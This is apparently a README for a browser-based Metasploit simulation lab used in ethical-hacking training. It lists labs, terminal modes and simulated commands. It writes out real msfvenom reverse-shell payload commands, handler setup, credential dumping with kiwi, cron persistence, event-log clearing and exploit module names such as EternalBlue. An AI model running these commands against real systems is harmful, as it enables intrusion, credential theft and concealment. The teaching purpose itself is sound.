🛡️ Metasploit Simulation Lab — Ethical Hacking Training

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Overview

The Metasploit Simulation Lab is an immersive, terminal-based training environment that teaches ethical hacking methodology through realistic Metasploit Framework simulations. Practice reconnaissance, exploitation, post-exploitation, privilege escalation, and persistence techniques in a completely safe, sandboxed environment — no real systems harmed.

The lab features 8 guided exercises, a dynamic cheat sheet with 40+ commands, a Meterpreter session simulator, and a multi-mode terminal that mimics bash, msfconsole, and meterpreter environments with authentic output.

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✨ Key Features

🎯 Core Training Loop

┌─────────────────────────────────────────────────────────────────┐
│  SELECT LAB → GENERATE PAYLOAD → START HANDLER → TRIGGER SHELL  │
│       → POST-EXPLOIT → PERSISTENCE → COVER TRACKS → COMPLETE    │
└─────────────────────────────────────────────────────────────────┘

📋 8 Guided Training Labs with escalating complexity

Lab	Title	Difficulty	Time	Objectives
01	Establishing a Meterpreter Session	🟢 EASY	30 min	5
02	Exploitation Basics	🟢 EASY	30 min	5
03	Privilege Escalation	🟡 MEDIUM	40 min	4
04	Web Application Attack	🟡 MEDIUM	30 min	4
05	Fuzzing Test	🟢 EASY	30 min	2
06	Persistence Tactics	🔴 HARD	40 min	4
07	Full Penetration Test	🔴 HARD	20 min	5
08	Simulate a Network Breach	🔴 HARD	30 min	4

🖥️ 3 Terminal Modes

Mode	Prompt	Purpose
Bash Shell	kali@lab:~$	System commands, payload generation, setup
msfconsole	msf6 >	Metasploit framework interaction, exploits
Meterpreter	meterpreter >	Post-exploitation, pivoting, persistence

🛠️ 40+ Realistic Commands Simulated

Category	Commands
Metasploit	msfconsole, msfvenom, use exploit/multi/handler, set PAYLOAD/LHOST/LPORT, run/exploit
Recon	nmap, show exploits/payloads/auxiliary, search, info
Exploitation	searchsploit, exploit CVE-2021-41773, use exploit/windows/smb/ms17_010_eternalblue
Post-Exploit	getuid, sysinfo, pwd, ls, cat, download, ps, id, whoami
Privilege Escalation	sessions -i, background, use post/multi/recon/local_exploit_suggester, sudo su -
Persistence	load kiwi, creds_all, migrate, clearev, persistence
Web Attacks	sqlmap, setoolkit, curl, auxiliary/scanner/http/sql_injection
Evasion	proxychains, cover_tracks, timestomp
Database	sudo msfdb init, sudo msfdb reinit, sudo systemctl start postgresql

📊 Dynamic Training Systems

Session Management 🖥️

• Spawn Meterpreter sessions by triggering payloads
• List active sessions with sessions -l
• Interact with sessions using sessions -i <id>
• Background sessions with background
• Real-time session counter in status bar

Lab Progress Tracking 📈

• Complete lab steps to increase progress percentage
• Visual progress bar in status panel (0-100%)
• Each lab includes step-by-step guided instructions
• "Run in terminal" buttons auto-fill commands

Post-Exploitation Simulator 🔓

• Authentic Meterpreter output for getuid, sysinfo, pwd, ls
• Credential harvesting simulation with load kiwi and creds_all
• Process migration with migrate <pid>
• Cron persistence via post/linux/manage/cron_persistence
• Windows event log clearing simulation

Payload Generation 🧬

Payload Type	Command
Linux x64 ELF	msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell64.elf
PHP Reverse Shell	msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o shell.php
Encoded Windows Executable (Shikata Ga Nai)	msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -f exe > shell.exe

🖥️ Authentic Terminal Experience

• Matrix-green primary color (#00e536) — classic hacker aesthetic
• Three distinct prompt styles for bash, msf, and meterpreter
• Command history navigation with arrow keys (↑/↓)
• Realistic Metasploit banner on launch
• Click-to-inject commands from cheat sheet and labs
• Tabbed reference panels for payloads, exploits, post-exploit, and web attacks
• Scrollable terminal output with custom scrollbar

🎨 Cyber Security Interface Design

┌─────────────────────────────────────────────────────────────────────────────┐
│  ● ● ●    Metasploit Simulation Lab — Ethical Hacking Training      v6.3   │
├──────────────┬──────────────────────────────────────────────────────────────┤
│  NAVIGATION  │  ┌──────────┬────────────┬────────────┬────────────┐        │
│  ▲ Terminal  │  │ Console  │ Payloads   │ Exploits   │ Post-Exploit│        │
│  ☰ Cheat Sheet│  └──────────┴────────────┴────────────┴────────────┘        │
│  ▶ Labs      │  ┌────────────────────────────────────────────────────────┐  │
│  ● Sessions  │  │  msf6 > use exploit/multi/handler                      │  │
│              │  │  [*] Using configured payload generic/shell_reverse_tcp│  │
│  CONTEXT     │  │  msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp  │  │
│  ○ bash shell│  │  PAYLOAD => linux/x64/meterpreter/reverse_tcp          │  │
│  ○ msf6 console│  │  msf6 > set LHOST 127.0.0.1                           │  │
│  ○ meterpreter│  │  LHOST => 127.0.0.1                                    │  │
│              │  │  msf6 > run                                             │  │
│  QUICK CMDS  │  │  [*] Started reverse TCP handler on 127.0.0.1:4444     │  │
│  msfconsole  │  └────────────────────────────────────────────────────────┘  │
│  use handler │  ┌────────────────────────────────────────────────────────┐  │
│  show exploits│  │  Quick: [msfconsole] [init db] [nmap scan] [gen payload]│  │
│  show payloads│  └────────────────────────────────────────────────────────┘  │
│  sessions -l │  ┌────────────────────────────────────────────────────────┐  │
│  getuid      │  │  kali@lab:~$ █                                          │  │
│  sysinfo     │  └────────────────────────────────────────────────────────┘  │
│  help        │                                                              │
├──────────────┴──────────────────────────────────────────────────────────────┤
│  ● simulation active  postgresql: running  mode: bash  lab progress ███ 45% │
└─────────────────────────────────────────────────────────────────────────────┘

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🚀 Quick Start Guide

Step 1: Launch Metasploit

kali@lab:~$ msfconsole

The Metasploit banner will display with version and module counts. Your prompt changes to msf6 >.

Step 2: Explore Available Modules

msf6 > show exploits
msf6 > show payloads
msf6 > show auxiliary

View the 2373 exploits, 1396 payloads, and 1232 auxiliary modules simulated.

Step 3: Open a Lab

Click the Labs tab in the sidebar, then expand any lab card. Each lab contains:

• Overview — What you'll learn
• Step-by-step instructions — Commands to run
• Explanation — Why each command matters
• Run in terminal — Auto-fills commands

Step 4: Generate a Payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell64.elf

Step 5: Set Up Handler

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 127.0.0.1
msf6 > set LPORT 4444
msf6 > run

Step 6: Trigger the Payload

Open a new terminal (simulated by switching mode or using a lab step) and run:

sudo -u victim /home/victim/shell64.elf

A Meterpreter session opens automatically.

Step 7: Interact with Session

msf6 > sessions -l
msf6 > sessions -i 1
meterpreter > getuid
meterpreter > sysinfo

Step 8: Post-Exploitation

meterpreter > pwd
meterpreter > ls
meterpreter > cat flag.txt

Step 9: Persistence (Optional)

meterpreter > background
msf6 > use post/linux/manage/cron_persistence
msf6 > set SESSION 1
msf6 > run

Step 10: Complete Lab

Return to the lab interface, mark steps complete, and proceed to the next exercise.

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🎯 Training Mechanics Deep Dive

Supported Exploit Modules

Module	Type	Description
exploit/windows/smb/ms17_010_eternalblue	Remote	EternalBlue SMBv3 exploit (Windows)
exploit/linux/local/dirty_cow	Local	Dirty COW privilege escalation (Linux)
exploit/linux/local/pkexec	Local	CVE-2021-4034 pkexec privilege escalation
exploit/multi/http/apache_path_traversal	Web	Apache 2.4.49 path traversal (CVE-2021-41773)
exploit/multi/http/php_cgi_arg_injection	Web	PHP CGI argument injection (CVE-2012-1823)
exploit/multi/http/tomcat_mgr_upload	Web	Tomcat Manager upload vulnerability
exploit/windows/local/bypassuac	Local	Windows UAC bypass
exploit/windows/smb/psexec	Lateral	PsExec lateral movement

Payload Generation Examples

Target Platform	Payload	Command
Linux x64	linux/x64/meterpreter/reverse_tcp	msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
Windows x64	windows/x64/meterpreter/reverse_tcp	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o shell.exe
PHP	php/meterpreter/reverse_tcp	msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o shell.php
Linux x64 (staged)	linux/x64/shell_reverse_tcp	msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf

Post-Exploitation Commands

Command	Purpose	Example Output
getuid	Show current user	Server username: victim
sysinfo	Display system information	OS: Ubuntu 22.04.3 (Linux 6.1.0-kali5-amd64)
pwd	Print working directory	/home/victim
ls	List files	shell64.elf .bashrc
cat <file>	Read file contents	FLAG{meterpreter_lab_complete}
load kiwi	Load Mimikatz-like credential module	Loading extension kiwi... Success.
creds_all	Dump credentials	Username: victim Hash: $6$simulated$xxxxxxxx
migrate <pid>	Move to another process	[*] Migrating from PID 5432 to 1234...
clearev	Clear Windows event logs	[!] Clearing event logs... (simulated)
background	Background current session	[*] Backgrounding session 1...

Cheat Sheet Categories

The built-in cheat sheet provides quick reference for:

Tab	Content
Console	Setup & launch commands:msfconsole, sudo msfdb init, nmap, module management
Payloads	Payload types (single/stager/staged) and msfvenom generation commands
Exploits	Remote, local, client-side, web, and PHP RCE exploit modules
Post-Exploit	Privilege escalation, persistence, credential dumping, log clearing, process migration
Web/Social	SQL injection, PHP RCE, file upload, SEToolkit phishing simulation

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🛠️ Technical Implementation

Architecture

┌─────────────────────────────────────────────────────────────┐
│              Metasploit Simulation Lab Engine               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌─────────────────────────────────────────────────────┐   │
│  │              Game State (STATE)                      │   │
│  │  • mode (normal/msf/meterp)                         │   │
│  │  • sessCnt (active sessions)                        │   │
│  │  • labProg (training progress)                      │   │
│  │  • curMod (terminal/cheatsheet/labs/sessions)       │   │
│  │  • curTab (main/payloads/exploits/post/web)         │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  ┌─────────────────────────────────────────────────────┐   │
│  │                   Data Layer                         │   │
│  │  • LABS (8 training exercises)                      │   │
│  │  • CHEAT_SHEET (40+ commands organized in 5 tabs)   │   │
│  │  • COMMAND_MAP (normal/msf/meterp contexts)         │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  ┌─────────────────────────────────────────────────────┐   │
│  │                 Command Processor                    │   │
│  │  • 40+ simulated commands                           │   │
│  │  • Context-aware routing (bash/msf/meterp)          │   │
│  │  • Realistic output formatting                      │   │
│  │  • Fallback handler for unknown commands            │   │
│  └─────────────────────────────────────────────────────┘   │
│                                                             │
│  ┌─────────────────────────────────────────────────────┐   │
│  │                    UI Renderer                       │   │
│  │  • Terminal output with color coding                │   │
│  │  • Lab expansion/collapse                           │   │
│  │  • Session list with interact buttons               │   │
│  │  • Cheat sheet with click-to-inject                 │   │
│  │  • Progress bar animation                           │   │
│  │  • Command history (↑/↓ navigation)                 │   │
│  └─────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────┘

Key Functions

// Core simulation
run()                        // Execute command from input
handle(result)               // Process and display command output
fallback(cmd)                // Handle unknown commands with smart guesses

// Mode management
setMode(mode)                // Switch between bash/msf/meterpreter
switchMod(mod)               // Change sidebar panel (terminal/labs/sessions/cheatsheet)
switchTab(tab)               // Change cheat sheet tab

// Session simulation
upSess()                     // Update session counter and UI
openSess(id)                 // Interact with session by ID

// Lab system
renderLabs()                 // Generate lab cards
togLab(id)                   // Expand/collapse lab
runStep(cmds)                // Auto-fill commands from lab steps

// UI helpers
printLine(type, text)        // Color-coded terminal output
printPrompt(cmd)             // Display prompt + command
scroll()                     // Auto-scroll terminal
clr()                        // Clear terminal
inj(cmd)                     // Inject command into input

Command Routing Logic

// Context-aware command execution
var ctx = cmds[mode];  // 'normal', 'msf', or 'meterp'
var fn = ctx[key];     // Look up command in current mode

// Fallback handles:
// - 'set VAR value' → returns 'VAR => value'
// - 'use module'    → returns '[*] Module: module'
// - 'info module'   → returns '[*] Loading info: module'
// - 'search term'   → returns '[*] Searching: term'
// - 'sudo cmd'      → returns '[*] Executing with sudo...'

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📊 Training Statistics

Metric	Value
Total Labs	8
Total Lab Steps	33
Simulated Commands	40+
Terminal Modes	3 (bash, msf, meterpreter)
Cheat Sheet Categories	5
Cheat Sheet Commands	40+
Exploit Modules	8+ (simulated)
Payload Types	10+
Post-Exploit Commands	12+

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🌐 Browser Compatibility

Browser	Support
Chrome	✅ Full support
Firefox	✅ Full support
Safari	✅ Full support
Edge	✅ Full support
Opera	✅ Full support
Mobile Chrome	⚠️ Limited (terminal experience best on desktop)
Mobile Safari	⚠️ Limited (terminal experience best on desktop)

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🚦 Performance

• Load Time: < 1 second (zero external dependencies)
• Memory Usage: < 30 MB
• CPU Usage: Minimal (event-driven)
• Network: Zero requests after initial load

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🛡️ Security & Ethical Disclosure

Metasploit Simulation Lab is a 100% safe educational tool:

• ✅ No actual exploitation or network connections
• ✅ All simulations run locally in your browser
• ✅ No data collection or telemetry
• ✅ No external dependencies or CDN calls
• ✅ Pure HTML/CSS/JavaScript — can run air-gapped
• ✅ For educational purposes only — teaches ethical hacking methodology

⚠️ Disclaimer: This tool is for learning cybersecurity concepts in a controlled, simulated environment. Always obtain proper authorization before testing any system in the real world.

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📝 License

MIT License — see LICENSE file for details.

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🙏🏿 Acknowledgments

• Metasploit Framework — Rapid7's legendary penetration testing framework
• Offensive Security — Kali Linux and OSCP certification inspiration
• MITRE ATT&CK — Adversarial tactics, techniques, and procedures
• OWASP — Web application security testing methodology
• Hack The Box / TryHackMe — Gamified cybersecurity training inspiration

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📧 Contact & Contributions

• GitHub Issues: Report bugs or request features
• Pull Requests: Welcome for additional labs, commands, or improvements

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🏁 Future Enhancements

• Add 5+ advanced labs (buffer overflow, AV evasion, domain pivoting)
• Realistic Metasploit database integration simulation
• Multi-user session persistence across page reloads
• Custom payload builder interface
• Vulnerability scanner simulation (Nessus/OpenVAS)
• Report generation for completed labs
• Achievement system (first session, privilege escalation, etc.)
• Dark mode / light mode toggle
• Sound effects for session opens (optional)
• Progressive difficulty scaling

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🛡️ Metasploit Simulation Lab — Master Ethical Hacking Methodology 🛡️

Learn. Practice. Simulate. Never Exploit Without Permission.

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Last updated: June 2026